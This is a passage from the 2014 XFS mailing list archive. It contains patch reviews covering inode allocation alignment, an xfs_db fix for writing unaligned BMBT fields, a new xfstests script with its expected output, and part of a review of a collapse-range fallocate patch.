minalignslop field is never reset. This >> increases the overall requirement of the request from the first >> attempt. If this delta is the difference between allocation success >> and failure for the AG, xfs_alloc_fix_freelist() rejects this >> request outright the second time around and causes the allocation >> request to unnecessarily fail for this AG. > > Yup, that looks like a bug. > >> To address this situation, reset the minalignslop field when we >> transition from a THIS_BNO to a NEAR_BNO allocation request in >> xfs_ialloc_ag_alloc(). >> >> [NOTE: It appears at first glance that the optimized agi_newino >> allocation case is problematic in that it doesn't consider use of >> mp->m_sinoalign, if enabled. If the m_sinoalign allocation fails, >> however, we revert back to normal cluster alignment, which I think >> makes the overall sequence safe.] > > The agi_newino allocation case is not meant to stripe align the new > inode chunk. What it is meant to do is cluster inode allocation > within a stripe. i.e. the first allocation will be stripe aligned, > which sets newino. then newino will move to the adjacent cluster, > and we'll try to allocate that. i.e. we try to densely pack inodes > within a stripe unit before we spread them out onto other stripe > units. Hence when you are doing large file workloads, inodes get > clustered into a single stripe unit rather than being distributed > around between files.... > Ah, thanks. That turns on a light bulb. ;) I wasn't familiar with the purpose of m_sinoalign to this point and was a little confused about what (or why, more specifically) was going on there in the allocation algorithm. It makes much more sense now. I'll probably remove the above bit of confusion from the commit log (and replace it with a more accurate comment called for below)... >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_ialloc.c | 2 ++ >> 1 file changed, 2 insertions(+) >> >> diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c >> index 5d7f105..584daf0 100644 >> --- a/fs/xfs/xfs_ialloc.c >> +++ b/fs/xfs/xfs_ialloc.c >> @@ -382,6 +382,8 @@ xfs_ialloc_ag_alloc( >> isaligned = 1; >> } else >> args.alignment = xfs_ialloc_cluster_alignment(&args); >> + args.minalignslop = 0; >> + >> /* >> * Need to figure out where to allocate the inode blocks. >> * Ideally they should be spaced out through the a.g. > > I think I'd prefer that this is cleared immediately after the > allocation that required it, regardless of whether it succeeds or > not. i.e. confine the minalignslop context to that specific > allocation call, and hence if we modify this code in future we don't > have a landmine to trip on. It also needs a comment to explain why > it needs to be cleared.... > Yeah, that sounds a bit nicer. I'll send a new version. Thanks for the review/insight. :) Brian > Cheers, > > Dave. > From tinguely@eagdhcp-232-208.americas.sgi.com Mon Feb 10 17:10:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E6F7F7F3F for ; Mon, 10 Feb 2014 17:10:04 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay2.corp.sgi.com (Postfix) with ESMTP id C7473304039 for ; Mon, 10 Feb 2014 15:10:01 -0800 (PST) Received: from eagdhcp-232-208.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-208.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s1ANA4xA003105 for ; Mon, 10 Feb 2014 17:10:04 -0600 (CST) (envelope-from tinguely@eagdhcp-232-208.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-208.americas.sgi.com (8.14.5/8.14.5/Submit) id s1ANA4s8003104; Mon, 10 Feb 2014 17:10:04 -0600 (CST) (envelope-from tinguely) Message-Id: <20140210230923.268327906@sgi.com> User-Agent: quilt/0.47-15.17.1 Date: Mon, 10 Feb 2014 17:09:12 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH v2] xfs_db: fix the setting of unaligned directory fields Content-Disposition: inline; filename=xfs_db-fix-dir-settings.patch Setting the directory startoff, startblock, and blockcount fields are difficult on both big and little endian machines. The setting of extentflag was completely broken. big endian test: xfs_db> write u.bmx[0].startblock 12 u.bmx[0].startblock = 0 xfs_db> write u.bmx[0].startblock 0xc0000 u.bmx[0].startblock = 192 little endian test: xfs_db> write u.bmx[0].startblock 12 u.bmx[0].startblock = 211106232532992 xfs_db> write u.bmx[0].startblock 0xc0000 u.bmx[0].startblock = 3221225472 Since the output fields and the lengths are not aligned to a byte, setbitval requires them to be entered in big endian and properly byte/nibble shifted. The extentflag output was aligned to a byte but was not shifted correctly. Convert the input to big endian on little endian machines and nibble/byte shift on all platforms so setbitval can set the bits correctly. Signed-off-by: Mark Tinguely --- v2: Ignore extra characters in input. Fix hash input if still used as an integer input. It was broken on big endian, but someone may use this input in a little endian script. Add documentation. Did more clean up. db/bit.c | 84 +++++++++++------------------ db/write.c | 173 +++++++++++++++++++++++++++++++++++++++++-------------------- 2 files changed, 152 insertions(+), 105 deletions(-) Index: b/db/bit.c =================================================================== --- a/db/bit.c +++ b/db/bit.c @@ -128,57 +128,41 @@ getbitval( return rval; } +/* + * The input data can be 8, 16, 32, and 64 sized numeric values + * aligned on a byte boundry, or odd sized numbers stored on odd + * aligned offset (for example the bmbt fields). + * + * The input data sent to this routine has been converted to big endian + * and has been adjusted in the array so that the first input bit is to + * be written in the first bit in the output. + * + * If the field length and the output buffer are byte aligned, then use + * memcpy from the input to the output, but if either entries are not byte + * aligned, then loop over the entire bit range reading the input value + * and set/clear the matching bit in the output. + * + * example when ibuf is not multiple of a byte in length: + * + * ibuf: | BBBBBBBB | bbbxxxxx | + * \\\\\\\\--\\\\ + * obuf+bitoff: | xBBBBBBB | Bbbbxxxx | + * + */ void setbitval( - void *obuf, /* buffer to write into */ - int bitoff, /* bit offset of where to write */ - int nbits, /* number of bits to write */ - void *ibuf) /* source bits */ + void *obuf, /* start of buffer to write into */ + int bitoff, /* bit offset into the output buffer */ + int nbits, /* number of bits to write */ + void *ibuf) /* source bits */ { - char *in = (char *)ibuf; - char *out = (char *)obuf; - - int bit; - -#if BYTE_ORDER == LITTLE_ENDIAN - int big = 0; -#else - int big = 1; -#endif - - /* only need to swap LE integers */ - if (big || (nbits!=16 && nbits!=32 && nbits!=64) ) { - /* We don't have type info, so we can only assume - * that 2,4 & 8 byte values are integers. sigh. - */ - - /* byte aligned ? */ - if (bitoff%NBBY) { - /* no - bit copy */ - for (bit=0; bit= '0' || *(ostr+1) <= '7') { - ret = convert_oct(ostr+1, &octval); + if (*(ostr + 1) >= '0' || *(ostr + 1) <= '7') { + ret = convert_oct(ostr + 1, &octval); *rbuf++ = octval; - ostr += ret+1; + ostr += ret + 1; continue; } } *rbuf++ = *ostr++; } - return buf; - } else if (arg[0] == '#' || ((arg[0] != '-') && strchr(arg,'-'))) { + } + + if (arg[0] == '#' || ((arg[0] != '-') && strchr(arg,'-'))) { /* * handle hex blocks ie * #00112233445566778899aabbccddeeff @@ -495,49 +518,89 @@ convert_arg( * 1122334455667788-99aa-bbcc-ddee-ff00112233445566778899 * * (but if it starts with "-" assume it's just an integer) + * + * Treat all requests 64 bits or smaller as numbers and + * requests larger than 64 bits as hex blocks arrays. */ - int bytes=bit_length/8; + int bytes = bit_length / NBBY; /* skip leading hash */ - if (*arg=='#') arg++; + if (*arg == '#') arg++; while (*arg && bytes--) { - /* skip hypens */ - while (*arg=='-') arg++; + /* skip hypens */ + while (*arg == '-') arg++; - /* get first nybble */ - if (!isxdigit((int)*arg)) return NULL; - *rbuf=NYBBLE((int)*arg)<<4; - arg++; - - /* skip more hyphens */ - while (*arg=='-') arg++; - - /* get second nybble */ - if (!isxdigit((int)*arg)) return NULL; - *rbuf++|=NYBBLE((int)*arg); - arg++; + /* get first nybble */ + if (!isxdigit((int)*arg)) + return NULL; + if (bit_length <= 64) + val = (val << 4) + NYBBLE((int)*arg); + else + *rbuf = NYBBLE((int)*arg) << 4; + arg++; + + /* skip more hyphens */ + while (*arg == '-') + arg++; + + /* get second nybble */ + if (!isxdigit((int)*arg)) + return NULL; + if (bit_length <= 64) + val = (val << 4) + NYBBLE((int)*arg); + else + *rbuf++ |= NYBBLE((int)*arg); + arg++; } - if (bytes<0&&*arg) return NULL; - return buf; - } else { + if (bytes < 0 && *arg) + return NULL; + /* - * handle integers + * Values larger than 64 bits are array of hex digits that + * already in the desired ordering (example UUID). */ - *value = strtoll(arg, NULL, 0); + if (bit_length > 64) + return buf; + } else { + /* handle decimal / hexadecimal integers */ -#if __BYTE_ORDER == BIG_ENDIAN - /* hackery for big endian */ - if (bit_length <= 8) { - rbuf += 7; - } else if (bit_length <= 16) { - rbuf += 6; - } else if (bit_length <= 32) { - rbuf += 4; - } -#endif - return rbuf; + val = strtoll(arg, &endp, 0); + /* return if not a clean number */ + if (*endp != '\0') + return NULL; } + + /* Is this value valid for the bit length? */ + if (val >> bit_length) + return NULL; + /* + * If the length of the field is not a multiple of a byte, push + * the bits up in the field, so the most signicant field bit is + * the most significant bit in the byte: + * + * before: + * val |----|----|----|----|----|--MM|mmmm|llll| + * after + * val |----|----|----|----|----|MMmm|mmll|ll00| + */ + offset = bit_length % NBBY; + if (offset) + val <<= (NBBY - offset); + + /* + * convert to big endian and copy into the array + * rbuf |----|----|----|----|----|MMmm|mmll|ll00| + */ + *value = cpu_to_be64(val); + + /* + * Align the array to point to the field in the array. + * rbuf = |MMmm|mmll|ll00| + */ + offset = sizeof(__be64) - 1 - ((bit_length - 1)/ sizeof(__be64)); + rbuf += offset; + return rbuf; } @@ -550,9 +613,9 @@ write_struct( { const ftattr_t *fa; flist_t *fl; - flist_t *sfl; - int bit_length; - char *buf; + flist_t *sfl; + int bit_length; + char *buf; int parentoffset; if (argc != 2) { From tinguely@eagdhcp-232-208.americas.sgi.com Mon Feb 10 17:10:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1FE2C7F52 for ; Mon, 10 Feb 2014 17:10:11 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay3.corp.sgi.com (Postfix) with ESMTP id 948A0AC00B for ; Mon, 10 Feb 2014 15:10:07 -0800 (PST) Received: from eagdhcp-232-208.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-208.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s1ANA9KY003109 for ; Mon, 10 Feb 2014 17:10:09 -0600 (CST) (envelope-from tinguely@eagdhcp-232-208.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-208.americas.sgi.com (8.14.5/8.14.5/Submit) id s1ANA9OE003108; Mon, 10 Feb 2014 17:10:09 -0600 (CST) (envelope-from tinguely) Message-Id: <20140210231046.910977175@sgi.com> User-Agent: quilt/0.47-15.17.1 Date: Mon, 10 Feb 2014 17:10:43 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH] xfstests: test setting XFS BMBT fields Content-Disposition: inline; filename=xfstests-setting-xfs-bmbt-fields.patch Test the setting of the XFS BMBT fields. Runs through the valid bit values for each field. Also test the value past the last legal value. Additionally, ensures setting a core entry (core.gen is used) is still correct. Test that the hex (#HH) input on a BMBT field and a core entry are also correct. Signed-off-by: Mark Tinguely --- tests/xfs/307 | 112 +++++++++++++++++++++++++++++++++++++++ tests/xfs/307.out | 152 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/group | 1 3 files changed, 265 insertions(+) Index: b/tests/xfs/307 =================================================================== --- /dev/null +++ b/tests/xfs/307 @@ -0,0 +1,112 @@ +#! /bin/bash +# FS QA Test No. 307 +# +# Test the xfs_db write of the XFS BMBT entries. For each XFS BMBT field, +# write the value 0, each bit and finally the entry beyond the maximum legal +# value. Also makes sure a core write and hex input still work. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 SGI. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +_do_bit_test() +{ + _field="$1" + _bits="$2" + + echo "testing ${_field} ${_bits} bits" | sed 's/u3/u/' + $XFS_DB_PROG -x -c "inode $FILE_INO" -c "write ${_field} 0" \ + $SCRATCH_DEV | sed 's/u3/u/' + num=1 + for n in `seq 0 1 ${_bits}`; do + $XFS_DB_PROG -x -c "inode $FILE_INO" \ + -c "write ${_field} ${num}" \ + $SCRATCH_DEV | sed 's/u3/u/' + let num=$num*2 + done + echo +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +# Modify as appropriate. +_supported_fs xfs +_supported_os Linux + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +# create the test file +echo "test file" > $SCRATCH_MNT/testfile + +# find the inode for the test file +FILE_INO=`ls -i $SCRATCH_MNT |awk '{print $1}'` + +_scratch_unmount + +# test bit length constants +BMBT_EXNTFLAG_BITLEN=1 +BMBT_STARTOFF_BITLEN=54 +BMBT_STARTBLOCK_BITLEN=52 +BMBT_BLOCKCOUNT_BITLEN=21 + +# Which version of the filesystem? +echo $XFS_MKFS_OPTIONS | grep "crc=1" > /dev/null +if [ $? == 1 ]; then + prefix="u" +else + prefix="u3" +fi + +# test setting the BMBT entries from 0 to past the valid number. +_do_bit_test "$prefix.bmx[0].extentflag" $BMBT_EXNTFLAG_BITLEN +_do_bit_test "$prefix.bmx[0].startoff" $BMBT_STARTOFF_BITLEN +_do_bit_test "$prefix.bmx[0].startblock" $BMBT_STARTBLOCK_BITLEN +_do_bit_test "$prefix.bmx[0].blockcount" $BMBT_BLOCKCOUNT_BITLEN +# test setting the 32 bit generation number +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen 0x5a" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen 0xa5" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen 0" $SCRATCH_DEV +# test setting the entry using #HH hex +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write $prefix.bmx[0].startoff #573a" \ + $SCRATCH_DEV | sed 's/u3/u/' +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write $prefix.bmx[0].startoff #a573" \ + $SCRATCH_DEV | sed 's/u3/u/' +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen #185a" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen #a518" $SCRATCH_DEV +status=0 +exit Index: b/tests/xfs/307.out =================================================================== --- /dev/null +++ b/tests/xfs/307.out @@ -0,0 +1,152 @@ +QA output created by 307 +testing u.bmx[0].extentflag 1 bits +u.bmx[0].extentflag = 0 +u.bmx[0].extentflag = 1 +unable to convert value '2'. + +testing u.bmx[0].startoff 54 bits +u.bmx[0].startoff = 0 +u.bmx[0].startoff = 1 +u.bmx[0].startoff = 2 +u.bmx[0].startoff = 4 +u.bmx[0].startoff = 8 +u.bmx[0].startoff = 16 +u.bmx[0].startoff = 32 +u.bmx[0].startoff = 64 +u.bmx[0].startoff = 128 +u.bmx[0].startoff = 256 +u.bmx[0].startoff = 512 +u.bmx[0].startoff = 1024 +u.bmx[0].startoff = 2048 +u.bmx[0].startoff = 4096 +u.bmx[0].startoff = 8192 +u.bmx[0].startoff = 16384 +u.bmx[0].startoff = 32768 +u.bmx[0].startoff = 65536 +u.bmx[0].startoff = 131072 +u.bmx[0].startoff = 262144 +u.bmx[0].startoff = 524288 +u.bmx[0].startoff = 1048576 +u.bmx[0].startoff = 2097152 +u.bmx[0].startoff = 4194304 +u.bmx[0].startoff = 8388608 +u.bmx[0].startoff = 16777216 +u.bmx[0].startoff = 33554432 +u.bmx[0].startoff = 67108864 +u.bmx[0].startoff = 134217728 +u.bmx[0].startoff = 268435456 +u.bmx[0].startoff = 536870912 +u.bmx[0].startoff = 1073741824 +u.bmx[0].startoff = 2147483648 +u.bmx[0].startoff = 4294967296 +u.bmx[0].startoff = 8589934592 +u.bmx[0].startoff = 17179869184 +u.bmx[0].startoff = 34359738368 +u.bmx[0].startoff = 68719476736 +u.bmx[0].startoff = 137438953472 +u.bmx[0].startoff = 274877906944 +u.bmx[0].startoff = 549755813888 +u.bmx[0].startoff = 1099511627776 +u.bmx[0].startoff = 2199023255552 +u.bmx[0].startoff = 4398046511104 +u.bmx[0].startoff = 8796093022208 +u.bmx[0].startoff = 17592186044416 +u.bmx[0].startoff = 35184372088832 +u.bmx[0].startoff = 70368744177664 +u.bmx[0].startoff = 140737488355328 +u.bmx[0].startoff = 281474976710656 +u.bmx[0].startoff = 562949953421312 +u.bmx[0].startoff = 1125899906842624 +u.bmx[0].startoff = 2251799813685248 +u.bmx[0].startoff = 4503599627370496 +u.bmx[0].startoff = 9007199254740992 +unable to convert value '18014398509481984'. + +testing u.bmx[0].startblock 52 bits +u.bmx[0].startblock = 0 +u.bmx[0].startblock = 1 +u.bmx[0].startblock = 2 +u.bmx[0].startblock = 4 +u.bmx[0].startblock = 8 +u.bmx[0].startblock = 16 +u.bmx[0].startblock = 32 +u.bmx[0].startblock = 64 +u.bmx[0].startblock = 128 +u.bmx[0].startblock = 256 +u.bmx[0].startblock = 512 +u.bmx[0].startblock = 1024 +u.bmx[0].startblock = 2048 +u.bmx[0].startblock = 4096 +u.bmx[0].startblock = 8192 +u.bmx[0].startblock = 16384 +u.bmx[0].startblock = 32768 +u.bmx[0].startblock = 65536 +u.bmx[0].startblock = 131072 +u.bmx[0].startblock = 262144 +u.bmx[0].startblock = 524288 +u.bmx[0].startblock = 1048576 +u.bmx[0].startblock = 2097152 +u.bmx[0].startblock = 4194304 +u.bmx[0].startblock = 8388608 +u.bmx[0].startblock = 16777216 +u.bmx[0].startblock = 33554432 +u.bmx[0].startblock = 67108864 +u.bmx[0].startblock = 134217728 +u.bmx[0].startblock = 268435456 +u.bmx[0].startblock = 536870912 +u.bmx[0].startblock = 1073741824 +u.bmx[0].startblock = 2147483648 +u.bmx[0].startblock = 4294967296 +u.bmx[0].startblock = 8589934592 +u.bmx[0].startblock = 17179869184 +u.bmx[0].startblock = 34359738368 +u.bmx[0].startblock = 68719476736 +u.bmx[0].startblock = 137438953472 +u.bmx[0].startblock = 274877906944 +u.bmx[0].startblock = 549755813888 +u.bmx[0].startblock = 1099511627776 +u.bmx[0].startblock = 2199023255552 +u.bmx[0].startblock = 4398046511104 +u.bmx[0].startblock = 8796093022208 +u.bmx[0].startblock = 17592186044416 +u.bmx[0].startblock = 35184372088832 +u.bmx[0].startblock = 70368744177664 +u.bmx[0].startblock = 140737488355328 +u.bmx[0].startblock = 281474976710656 +u.bmx[0].startblock = 562949953421312 +u.bmx[0].startblock = 1125899906842624 +u.bmx[0].startblock = 2251799813685248 +unable to convert value '4503599627370496'. + +testing u.bmx[0].blockcount 21 bits +u.bmx[0].blockcount = 0 +u.bmx[0].blockcount = 1 +u.bmx[0].blockcount = 2 +u.bmx[0].blockcount = 4 +u.bmx[0].blockcount = 8 +u.bmx[0].blockcount = 16 +u.bmx[0].blockcount = 32 +u.bmx[0].blockcount = 64 +u.bmx[0].blockcount = 128 +u.bmx[0].blockcount = 256 +u.bmx[0].blockcount = 512 +u.bmx[0].blockcount = 1024 +u.bmx[0].blockcount = 2048 +u.bmx[0].blockcount = 4096 +u.bmx[0].blockcount = 8192 +u.bmx[0].blockcount = 16384 +u.bmx[0].blockcount = 32768 +u.bmx[0].blockcount = 65536 +u.bmx[0].blockcount = 131072 +u.bmx[0].blockcount = 262144 +u.bmx[0].blockcount = 524288 +u.bmx[0].blockcount = 1048576 +unable to convert value '2097152'. + +core.gen = 90 +core.gen = 165 +core.gen = 0 +u.bmx[0].startoff = 22330 +u.bmx[0].startoff = 42355 +core.gen = 6234 +core.gen = 42264 Index: b/tests/xfs/group =================================================================== --- a/tests/xfs/group +++ b/tests/xfs/group @@ -186,3 +186,4 @@ 304 auto quick quota 305 auto quota 306 auto stress log metadata repair +307 auto db From david@fromorbit.com Mon Feb 10 17:33:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 569667F3F for ; Mon, 10 Feb 2014 17:33:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D9AB3AC00C for ; Mon, 10 Feb 2014 15:33:05 -0800 (PST) X-ASG-Debug-ID: 1392075182-04bdf0734cbba90001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wb9SmdBdnW9ShDfw for ; Mon, 10 Feb 2014 15:33:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au4HAHlg+VJ5LGaB/2dsb2JhbABZgwyDPqY/kBWFUIEWF3SCJQEBBScTHCMQCAMOBwMJJQ8FJQMhE4gEyWsXFo5cCweEOASUQoNoik+HUoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Feb 2014 10:03:01 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD0LS-0003Yq-E5; Tue, 11 Feb 2014 10:32:58 +1100 Date: Tue, 11 Feb 2014 10:32:58 +1100 From: Dave Chinner To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH RESEND 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20140210233258.GX13647@dastard> X-ASG-Orig-Subj: Re: [PATCH RESEND 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate References: <1391319851-3169-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391319851-3169-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392075182 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145009 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 02:44:11PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. > > Signed-off-by: Namjae Jeon > Signed-off-by: Ashish Sangwan A more detailed description would be nice for the change logs. ..... > + while (nexts++ < num_exts && > + *current_ext < XFS_IFORK_NEXTENTS(ip, whichfork)) { > + > + gotp = xfs_iext_get_ext(ifp, *current_ext); > + xfs_bmbt_get_all(gotp, &got); > + startoff = got.br_startoff - offset_shift_fsb; > + > + /* > + * Before shifting extent into hole, make sure that the hole > + * is large enough to accomodate the shift. > + */ > + if (*current_ext) { > + xfs_bmbt_get_all(xfs_iext_get_ext(ifp, > + *current_ext - 1), &left); > + > + if (startoff < left.br_startoff + left.br_blockcount) > + error = XFS_ERROR(EINVAL); > + > + } else if (startoff > xfs_bmbt_get_startoff(gotp)) { > + /* Hole is at the start but not large enough */ > + error = XFS_ERROR(EINVAL); > + } This second branch seems wrong to me: startoff = got.br_startoff - offset_shift_fsb; and got.br_startoff = xfs_bmbt_get_startoff(gotp)). I'm not 100% sure what you are trying to check in this case - perhaps some basic ascii art to describe the two cases is in order here: left hole got +-------+hhhhhhhhhhhhhhh+---------+ LS LE GS GE HS HE The first is checking that GS - offset_shift_fsb is greater than LE. i.e the shift doesn't overrun the hole betwenn LE and GS. left hole got +-------+hhhhhhhhhhhhhhh+---------+ LS LE GS GE HS HE +-------+hhhhhhh+---------+ LS LE GS' GE' HS HE' The second I can't visualise from the code or comment.... > + > + if (error) > + goto del_cursor; > + > + if (cur) { > + error = xfs_bmbt_lookup_eq(cur, > + got.br_startoff, > + got.br_startblock, > + got.br_blockcount, > + &i); Whitespace comment - a more compact form is the typical XFS convention if it will fit in 80 columns: error = xfs_bmbt_lookup_eq(cur, got.br_startoff, got.br_startblock, got.br_blockcount, &i); > + if (error) > + goto del_cursor; > + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); > + } > + > + /* Check if we can merge 2 adjacent extents */ > + if (*current_ext && > + left.br_startoff + left.br_blockcount == startoff && > + left.br_startblock + left.br_blockcount == > + got.br_startblock && > + left.br_state == got.br_state && > + left.br_blockcount + got.br_blockcount <= MAXEXTLEN) { > + blockcount = left.br_blockcount + > + xfs_bmbt_get_blockcount(gotp); got.br_blockcount? > + xfs_iext_remove(ip, *current_ext, 1, 0); > + if (cur) { > + error = xfs_btree_delete(cur, &i); > + if (error) > + goto del_cursor; > + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); > + } > + XFS_IFORK_NEXT_SET(ip, whichfork, > + XFS_IFORK_NEXTENTS(ip, whichfork) - 1); > + gotp = xfs_iext_get_ext(ifp, --*current_ext); > + xfs_bmbt_get_all(gotp, &got); > + > + /* Make cursor point to the extent we will update */ > + if (cur) { > + error = xfs_bmbt_lookup_eq(cur, > + got.br_startoff, > + got.br_startblock, > + got.br_blockcount, > + &i); whitespace. > + if (error) > + goto del_cursor; > + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); > + } > + > + xfs_bmbt_set_blockcount(gotp, blockcount); > + got.br_blockcount = blockcount; > + goto bmbt_update; > + } > + > + /* We have to update the startoff */ > + xfs_bmbt_set_startoff(gotp, startoff); > + got.br_startoff = startoff; > + > +bmbt_update: Use an } else {} for this, and the goto can be removed. .... > /* > + * xfs_collapse_file_space() > + * This routine frees disk space and shift extent for the given file. > + * > + * RETURNS: > + * 0 on success > + * errno on error > + * > + */ > +int > +xfs_collapse_file_space( > + struct xfs_inode *ip, > + xfs_off_t offset, > + xfs_off_t len) > +{ > + int done = 0; > + struct xfs_mount *mp = ip->i_mount; > + struct xfs_trans *tp; > + int error; > + xfs_extnum_t current_ext = 0; > + struct xfs_bmap_free free_list; > + xfs_fsblock_t first_block; > + int committed; > + xfs_fileoff_t start_fsb; > + xfs_fileoff_t shift_fsb; > + > + ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); > + > + trace_xfs_collapse_file_space(ip); > + > + start_fsb = XFS_B_TO_FSB(mp, offset + len); > + shift_fsb = XFS_B_TO_FSB(mp, len); > + > + /* > + * The first thing we do is to free data blocks in the specified range > + * by calling xfs_free_file_space(). It would also sync dirty data > + * and invalidate page cache over the region on which collapse range > + * is working. > + */ This can probably go in the function header as part of describing the overall algorithm the code is using. > + error = xfs_free_file_space(ip, offset, len); > + if (error) > + return error; > + > + while (!error && !done) { > + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); > + tp->t_flags |= XFS_TRANS_RESERVE; > + /* > + * We would need to reserve permanent block for transaction. > + * This will come into picture when after shifting extent into > + * hole we found that adjacent extents can be merged which > + * may lead to freeing of a block during record update. > + */ > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, > + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0); > + if (error) { > + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); > + xfs_trans_cancel(tp, 0); > + break; > + } > + > + xfs_ilock(ip, XFS_ILOCK_EXCL); > + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, > + ip->i_gdquot, ip->i_pdquot, > + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0, > + XFS_QMOPT_RES_REGBLKS); > + if (error) > + goto out; > + > + xfs_trans_ijoin(tp, ip, 0); > + > + xfs_bmap_init(&free_list, &first_block); > + > + /* > + * We are using the write transaction in which max 2 bmbt > + * updates are allowed > + */ Right, but you've only reserved blocks for a single BMBT split through XFS_DIOSTRAT_SPACE_RES(). In cases of allocation, adjacent offset allocation is guaranteed to only require one split at most and hence it's safe from that perspective. However, I can see how a shift can require a split on the first extent move, and a merge on the second. e.g: left middle right before maxrecs minrecs + 1 